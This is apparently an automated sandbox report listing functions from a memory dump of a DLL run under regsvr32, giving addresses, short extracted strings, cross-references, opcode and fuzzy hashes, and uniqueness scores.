Similarity

API ID:
String ID: D-o$S1
API String ID: 0-2248371139
Opcode ID: b2af9136cfd81d84eb1aedf16953768fff15e9d6dc77d4de408be5ef0b131a39
Instruction ID: c824313cc5550ea8d08e24e936909b38c1116e4b52b8e35a6cfdfb4e8fb0d5b5
Opcode Fuzzy Hash: b2af9136cfd81d84eb1aedf16953768fff15e9d6dc77d4de408be5ef0b131a39
Instruction Fuzzy Hash: 7F418F7090074E8FCF88CF68C48A5DEBFB0FB28398F144619E856A6250D3B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021588 Relevance: 2.6, Strings: 2, Instructions: 72COMMON

Download Yara Rule

Strings

")v, xrefs: 0000000180021679
kNTY, xrefs: 000000018002166D

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ")v$kNTY
API String ID: 0-925696221
Opcode ID: 2d468f080be7dc4ac37fbc5ab55ab08a385f91380d02a95960c4866fb202e0cd
Instruction ID: 3d1cde25fc61112586e0ccbc864a2b9889115514f3b9559dcc74a8c2fbc402f5
Opcode Fuzzy Hash: 2d468f080be7dc4ac37fbc5ab55ab08a385f91380d02a95960c4866fb202e0cd
Instruction Fuzzy Hash: 49317CB16187858B8348DF28C45641ABBE1FBCD70CF544B2DF4CAAB251D738D6128B4B

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800025B8 Relevance: 2.6, Strings: 2, Instructions: 69COMMON

Download Yara Rule

Strings

O, xrefs: 00000001800025BC
\u, xrefs: 00000001800026CE

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: O$\u
API String ID: 0-3775190597
Opcode ID: 81226de3c00d9588fcdb855554b2562b3d5d50c3db8a2dd8ff0fab91db437570
Instruction ID: b3d17dff366e7d439aca65bd494037a1e9e1cb33d0f26cc5f3c7e2fad645fe6e
Opcode Fuzzy Hash: 81226de3c00d9588fcdb855554b2562b3d5d50c3db8a2dd8ff0fab91db437570
Instruction Fuzzy Hash: 5B31C4B0528781AFC798DF28D09991ABBF1FBC9304F806A1DF98A8B350D774D845CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012044 Relevance: 2.6, Strings: 2, Instructions: 67COMMON

Download Yara Rule

Strings

:s[, xrefs: 000000018001209B
+N, xrefs: 0000000180012133

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: +N$:s[
API String ID: 0-2992701377
Opcode ID: 59945e4bfd5c1812b410bc992af75b99beb9f24da50121ece688e224e72b4b08
Instruction ID: 2af45dfac4c7ae0da7497fa8c295952f08e7f96bebb69c710dc1a077a3b8364b
Opcode Fuzzy Hash: 59945e4bfd5c1812b410bc992af75b99beb9f24da50121ece688e224e72b4b08
Instruction Fuzzy Hash: 443192B5528381ABC388DF28C48A81FBBE1FBC9359F806A1DF8C696261D734D5458B43

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024370 Relevance: 2.6, Strings: 2, Instructions: 64COMMON

Download Yara Rule

Strings

k, xrefs: 0000000180024379
'yN, xrefs: 000000018002441B

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 'yN$k
API String ID: 0-35230329
Opcode ID: 664b9cbffe37651652d085acf9af43cce7b6a19192dfc0ee1d7ff8525738b321
Instruction ID: 07b651401a32326000ca6cd35722393aebb0696fbf8e2d5e5a89f081ef8d3ba1
Opcode Fuzzy Hash: 664b9cbffe37651652d085acf9af43cce7b6a19192dfc0ee1d7ff8525738b321
Instruction Fuzzy Hash: DE318FB191478E8BDB48DF68D8494DF3BF0FB58308F004A29EC6A9A250D7B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800024C0 Relevance: 2.6, Strings: 2, Instructions: 51COMMON

Download Yara Rule

Strings

]2F, xrefs: 0000000180002531
lt, xrefs: 000000018000254B

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ]2F$lt
API String ID: 0-3307743551
Opcode ID: e35954fd64214c4dc75024e05a92e9afc61a62ba820b5d5e41e037a5dcd882da
Instruction ID: b2e8e3d622355c2c7a8d87ad16832996e77f732c72c2020fcd3ed114b96953d1
Opcode Fuzzy Hash: e35954fd64214c4dc75024e05a92e9afc61a62ba820b5d5e41e037a5dcd882da
Instruction Fuzzy Hash: BC218C70528385ABC798CF24C1CA94BBBE1FBD4758F906A0DF8828B264D774D909CB43

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001667C Relevance: 1.5, Strings: 1, Instructions: 274COMMON

Download Yara Rule

Strings

t2i., xrefs: 000000018001687D

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: t2i.
API String ID: 0-2317288456
Opcode ID: ddf1efb97a931d6c5f3ee8c67c3fa2b44aa9af6db9e4e5e1b98fbf81237c32be
Instruction ID: 45fd1b4f7d9ae1bb3a1595fd0447dfa3858b4c22850e921c91e36994c5fa5290
Opcode Fuzzy Hash: ddf1efb97a931d6c5f3ee8c67c3fa2b44aa9af6db9e4e5e1b98fbf81237c32be
Instruction Fuzzy Hash: F4C17C709197489BD7D6DF18C48579EBBE0FB88344F906A1EF486C72A0CB34DA49CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001AEC8 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

!, xrefs: 000000018001B19C

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !
API String ID: 0-133318149
Opcode ID: 9a28524a62feba04ad602aea3c6b43a9e37f0bb3cb72c69032c5b680e6eaa856
Instruction ID: 4d490125f0736c0523a0bc8c54046deb818a488a36854fcf26dc18eb231edbc7
Opcode Fuzzy Hash: 9a28524a62feba04ad602aea3c6b43a9e37f0bb3cb72c69032c5b680e6eaa856
Instruction Fuzzy Hash: 94C1277090474D8BDF48DF68C88A6EE7BF1FB48358F15821DE84AA7250C7789949CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001980 Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

GP, xrefs: 00000001800019A8

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: GP
API String ID: 0-809347306
Opcode ID: c18687982be6c1a2fdabfac97a268a3404b4fe9754ccd0dba6adaab26aa3d97e
Instruction ID: b8cc07b6ee5f07dffcf88ae53723e0b0b514af2364763fc1c4f878c703b2f424
Opcode Fuzzy Hash: c18687982be6c1a2fdabfac97a268a3404b4fe9754ccd0dba6adaab26aa3d97e
Instruction Fuzzy Hash: 35C18BB190060DCFCF68CF78D55A59D7BF1BB48308F606229F826AA2A2D3B49915CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014484 Relevance: 1.5, Strings: 1, Instructions: 224COMMON

Download Yara Rule

Strings

G, xrefs: 00000001800145F6

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: G
API String ID: 0-4067352199
Opcode ID: 571051391216adea76df2afa30ecc8bad161d89b390d9c97388838629c1a5ca4
Instruction ID: 225e36911d9d240547ab15c987b60d96220a9315f181ed6db9e7231e26a901aa
Opcode Fuzzy Hash: 571051391216adea76df2afa30ecc8bad161d89b390d9c97388838629c1a5ca4
Instruction Fuzzy Hash: 54A11871A0460CCFDF59DFA8C44A6DDB7F2FB48344F104529E816BB261CB749909CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018190 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

:d, xrefs: 0000000180018267

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :d
API String ID: 0-1981401805
Opcode ID: 7e01d6742b691afee721fc3f193522d49c245a6ce31efde50cdf5c406c664d98
Instruction ID: 210e0c3814bb066ec4f0600647a6f8918949d15d236ac433349e910c02a539df
Opcode Fuzzy Hash: 7e01d6742b691afee721fc3f193522d49c245a6ce31efde50cdf5c406c664d98
Instruction Fuzzy Hash: 55B1067150560DDFCB88DF28C089ADE7BE0FF58308F825229F80AA7255D774DA98DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800207BC Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

'NL, xrefs: 00000001800208CD

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 'NL
API String ID: 0-130891299
Opcode ID: 8a3ed407222c8cc95b4195594c73c0a0709bd4276b41a18d313f15a757072ddc
Instruction ID: bb2c5b98f4e45d76fdff147334347c6d164a6d6c8cf2b5048c0250209dce3a22
Opcode Fuzzy Hash: 8a3ed407222c8cc95b4195594c73c0a0709bd4276b41a18d313f15a757072ddc
Instruction Fuzzy Hash: 08816770900748CFDB99CF68C4896DE7BF0FB48394F609129F94697261C774D989CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001705C Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

ETz, xrefs: 0000000180017234

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ETz
API String ID: 0-3877082699
Opcode ID: a70674ad09814c9e1798ed159b67f00a2b9c82905ce41e3639f5d760caf2f047
Instruction ID: db1a2cf02a49f3c5a1febdf95057c2803ba9c7043f43a3a74a84a847f8708688
Opcode Fuzzy Hash: a70674ad09814c9e1798ed159b67f00a2b9c82905ce41e3639f5d760caf2f047
Instruction Fuzzy Hash: 6281BC34A0674CCBDB65CFA8C0897CDBBF1FF68348F104119E915AA2A6CB70D559CB89

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800261E0 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

#;*z, xrefs: 00000001800264EE

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #;*z
API String ID: 0-1682342327
Opcode ID: b680f4a085bd44a123493e5971e743dba8c621f53e8aa86b84bd23ce7ca92522
Instruction ID: dbf9c55ae058a2f54c24d1eac6a5ff2fe61b468a3017e99be0a6ffbf3af3057b
Opcode Fuzzy Hash: b680f4a085bd44a123493e5971e743dba8c621f53e8aa86b84bd23ce7ca92522
Instruction Fuzzy Hash: EF91E0715042888FCBB9DF24D88A7DA7BA1FB45348F50C229D88ECE261DFB0564DDB01

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024570 Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

dQ, xrefs: 00000001800246B3

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: dQ
API String ID: 0-4190919517
Opcode ID: 97a4412cc2303f28c05fec1f0b2e1d428cb8767c43294622f9f6b74118afce77
Instruction ID: 9d729ecabb7b74207a0fd84f221a36cedb2a9a3a0e5d95724699f54aa2ea8075
Opcode Fuzzy Hash: 97a4412cc2303f28c05fec1f0b2e1d428cb8767c43294622f9f6b74118afce77
Instruction Fuzzy Hash: 3E71E7711187988BDBFDCF28CC857D97BA6FB44744F20811CE84E8E261DB749A89CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D7AC Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

)0, xrefs: 000000018000D866

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: )0
API String ID: 0-1029681778
Opcode ID: 40e7eb8740bf53d50ac0b689975ccfd72f61ab29a6f5010a355cdccaad617979
Instruction ID: 121df312e681884aeaf9abe1505228ce9ff72d97cb51e4d07d955d8bff2ee376
Opcode Fuzzy Hash: 40e7eb8740bf53d50ac0b689975ccfd72f61ab29a6f5010a355cdccaad617979
Instruction Fuzzy Hash: 6851673861660CCBDB69DF78D4852E93BE0FF69344F20402DFC6687266DB34D52A8B58

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012168 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

Uerm, xrefs: 0000000180012269

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Uerm
API String ID: 0-3179360214
Opcode ID: 9ac54ab8c90a486f4441a78f79c66deafdf79af98abc137c17ed1b11debabc8b
Instruction ID: 041d59295089493447bb19a8378e04636211af5195b78f50b28b80e802418f55
Opcode Fuzzy Hash: 9ac54ab8c90a486f4441a78f79c66deafdf79af98abc137c17ed1b11debabc8b
Instruction Fuzzy Hash: AD6103B190061A8FCF48DFA8C48A5EEBBB1FB58344F10822DE815AB365C7749A55CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015774 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

n?,#, xrefs: 0000000180015826

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: n?,#
API String ID: 0-1323099997
Opcode ID: 26b976f19a01f89e53d4e797cc3bc9c5337180b5ac8f28c70c7e0350769e597c
Instruction ID: 565b854ac311e8ede55e0f860d8d3b50ebc6ea35409b62ec986654d35b43713b
Opcode Fuzzy Hash: 26b976f19a01f89e53d4e797cc3bc9c5337180b5ac8f28c70c7e0350769e597c
Instruction Fuzzy Hash: 4461F97054878DCBEBBADE38C8897D937B0FB48344F908529E94E8E290DB749A458B45

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800059AC Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

NRx, xrefs: 0000000180005B20

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: NRx
API String ID: 0-1393999616
Opcode ID: b4a4ba5d31bb0dbda5b37bf156645da5abce175ef766aa9e7dc128ab78272a52
Instruction ID: 7c3eed2061eb3ea8b6bf0d1c70d9a16e0a2e2a77544f255897bb26607a47427d
Opcode Fuzzy Hash: b4a4ba5d31bb0dbda5b37bf156645da5abce175ef766aa9e7dc128ab78272a52
Instruction Fuzzy Hash: 46416C706197489BD3E5DF28C08679FBAE0FB88745F90A92DF585C32A1CB74C9488B43

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024104 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

{dN, xrefs: 00000001800241F3

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: {dN
API String ID: 0-923835543
Opcode ID: 9e75a9b6c969771d2fbed292b07595da2e1a6dc424cdc2e689696f47c6000392
Instruction ID: f9e1d774cd1a5aafce577d99eb21246fb33c51757267e19de4f8e3655d4c3e4d
Opcode Fuzzy Hash: 9e75a9b6c969771d2fbed292b07595da2e1a6dc424cdc2e689696f47c6000392
Instruction Fuzzy Hash: A24118B091470D8BCF48DFA8C58A1DEBFB1FB483A8F25521DE90AB6250C7749585CF88

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029134 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

hT, xrefs: 0000000180029140

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: hT
API String ID: 0-434349927
Opcode ID: 6dc475388242e87dfd02804309664708b9ba0169bf98e34e56dbb37a95c1b731
Instruction ID: 79a86a43dda6c0bf54cad5f70c675ce2074b99fb8c760d3b3e2f6daa19ea02a9
Opcode Fuzzy Hash: 6dc475388242e87dfd02804309664708b9ba0169bf98e34e56dbb37a95c1b731
Instruction Fuzzy Hash: 2A5190B190038E8BCB48DF68C88A5DE7BB0FB58308F104A19FC65A6250D7B4D669CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800135A6 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

w., xrefs: 0000000180013634

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: w.
API String ID: 0-4252102657
Opcode ID: 775cc355a8dd2b6f1bc8d8548c4489e17c5a54c9aeae587b6d573d3d7a9b0f7e
Instruction ID: ff83c9861e3aef96e788ade2e95c5d31a765335f039db5447ff320373d52f62b
Opcode Fuzzy Hash: 775cc355a8dd2b6f1bc8d8548c4489e17c5a54c9aeae587b6d573d3d7a9b0f7e
Instruction Fuzzy Hash: 524127B190434A8BCF48DF64C88A4DE7FB1FB58348F10861DEC5AA7250D7749659CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800079EC Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

\>, xrefs: 0000000180007A45

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: \>
API String ID: 0-4115654482
Opcode ID: ec85be460c7c8dfb7cf3a46c57a1e14dcdd929cba8cf803056f6d038e5aaf727
Instruction ID: c8bfe62f06df19f0db5cc8e5fd5c20be0a97c60a2c34a345c5b0509f61aa275d
Opcode Fuzzy Hash: ec85be460c7c8dfb7cf3a46c57a1e14dcdd929cba8cf803056f6d038e5aaf727
Instruction Fuzzy Hash: 5041B0B490038E8FDB48DF65D8895DE7BB0FB48358F104A1AEC25A6250D7B4D664CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F6DC Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

UfMm, xrefs: 000000018001F81D

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: UfMm
API String ID: 0-3877223347
Opcode ID: dec106b4a764423c6080cde6e3c380fc2c4206b9dd3c84e9483206ca750e3b76
Instruction ID: c77ef5b6f515275834e01b5fcfcfc22ffe1a93dbca634ff8363d49e0f941db2a
Opcode Fuzzy Hash: dec106b4a764423c6080cde6e3c380fc2c4206b9dd3c84e9483206ca750e3b76
Instruction Fuzzy Hash: A1519EB190474E8BCF49CF64C48A5DE7FB0FB68398F214219E85A96250D3B8D6A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800173DC Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

^I%, xrefs: 0000000180017487

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ^I%
API String ID: 0-4091345571
Opcode ID: 3f12ff418f07ff0dffb22bdd7eb3939b0fd24fdb2c19c7287af7d17ae91e7243
Instruction ID: 24279a7f0b8a810ed47d94a020ccddcda864278dcc3d62ea9a1aafd37f1cc870
Opcode Fuzzy Hash: 3f12ff418f07ff0dffb22bdd7eb3939b0fd24fdb2c19c7287af7d17ae91e7243
Instruction Fuzzy Hash: D641C2B090074E8BCB48DF68C58A4DE7FF0FB68398F204219EC16A6250D3B496A4CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008370 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

E, xrefs: 0000000180008443

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: E
API String ID: 0-4189953480
Opcode ID: 6b2582ab6db5c886dc2d719d00820c997d2b994a7b2935478f04cfa12a5363ce
Instruction ID: 97bb68eb89739962e45bd832e2874dcd633b22f5609a7b84b761109d701c7c23
Opcode Fuzzy Hash: 6b2582ab6db5c886dc2d719d00820c997d2b994a7b2935478f04cfa12a5363ce
Instruction Fuzzy Hash: B341D5B491038E8FCF88DF69D8495DE7BB0FB18358F104A19EC2AA6250D3B49664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002582C Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

JLq, xrefs: 0000000180025857

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: JLq
API String ID: 0-4186083495
Opcode ID: 8d9a50e123908ca919991315c6f3e14c53aa3b8bc44063858183d3498e4e8681
Instruction ID: 27128c2ca0a5d288d3179379bf0eddb2aee49c7a11679c2610c242e98f2fdc84
Opcode Fuzzy Hash: 8d9a50e123908ca919991315c6f3e14c53aa3b8bc44063858183d3498e4e8681
Instruction Fuzzy Hash: 3C41D5B090064E8FDF48CF68C4865EE7BF1FB58358F114229E846AA254C7789A95CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800150F0 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

vYa-, xrefs: 0000000180015210

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: vYa-
API String ID: 0-893662192
Opcode ID: 035fd408088c0482a5a9e27521314a342b14366a032dbf1fe9b8c33d69753ec7
Instruction ID: ed719b7027dd4d7706803f37edca27847d3dc95415a6febebb675a1e15796353
Opcode Fuzzy Hash: 035fd408088c0482a5a9e27521314a342b14366a032dbf1fe9b8c33d69753ec7
Instruction Fuzzy Hash: 0741C0B090034E8FCF48CF64D88A5DE7FB0FB68398F104619E856A6250D7B896A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015BB8 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

< dA, xrefs: 0000000180015C3D

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: < dA
API String ID: 0-2747138368
Opcode ID: 207b38533736b510735db2aca9d27c508cf70737fe24697ea278d93009114e66
Instruction ID: 677e9d37894352eedc94dfbe70e1d5a5f16f85bbcaa69aa355918790c22682b0
Opcode Fuzzy Hash: 207b38533736b510735db2aca9d27c508cf70737fe24697ea278d93009114e66
Instruction Fuzzy Hash: 2741A0B180074E8FCB49CF64D48A4DE7FB0FB68388F204619E856A6254D7B496A8CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800135B4 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

w., xrefs: 0000000180013634

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: w.
API String ID: 0-4252102657
Opcode ID: 8dc8ab0dff87e9b75af9bc87b01f2b240cfc8c73fd94611f7c31912defe47775
Instruction ID: 9835b62cc5c81bb08ffa4c0ed138b56601e81b85f9b16a4ced47218125f66503
Opcode Fuzzy Hash: 8dc8ab0dff87e9b75af9bc87b01f2b240cfc8c73fd94611f7c31912defe47775
Instruction Fuzzy Hash: FC41E4B090434A8BCF48DF64C88A4DE7FB1FB58348F11861DEC5AA6250D7B496A9CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F878 Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

}]T*, xrefs: 000000018001F95B

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: }]T*
API String ID: 0-3642313528
Opcode ID: 7849323620c58637c1544052bb138ebef222585afcb74db7dd86457f284b6379
Instruction ID: a9b4d124700f7192ec0ffbe58db6f2cedd89af67995077d1789eaf9c0a4fefb8
Opcode Fuzzy Hash: 7849323620c58637c1544052bb138ebef222585afcb74db7dd86457f284b6379
Instruction Fuzzy Hash: 624191B191074E9FCF48DF64D48A4DE7FB0FB68388F214619E816A6210D3B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013568 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

w., xrefs: 0000000180013634

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: w.
API String ID: 0-4252102657
Opcode ID: da61243a15702063775777e79984a8309a15a56a41d8ca6f71a856d03373fb1d
Instruction ID: 13a44cd4838b071505596f301d9460f32b91f3f909068c68e30d7ec81fe075ae
Opcode Fuzzy Hash: da61243a15702063775777e79984a8309a15a56a41d8ca6f71a856d03373fb1d
Instruction Fuzzy Hash: 194104B090434A8BCF48CF64C88A4DE7FB1FB58348F10861DEC5AA6250D7B496A8CFC4

Uniqueness

Uniqueness Score: -1.00%

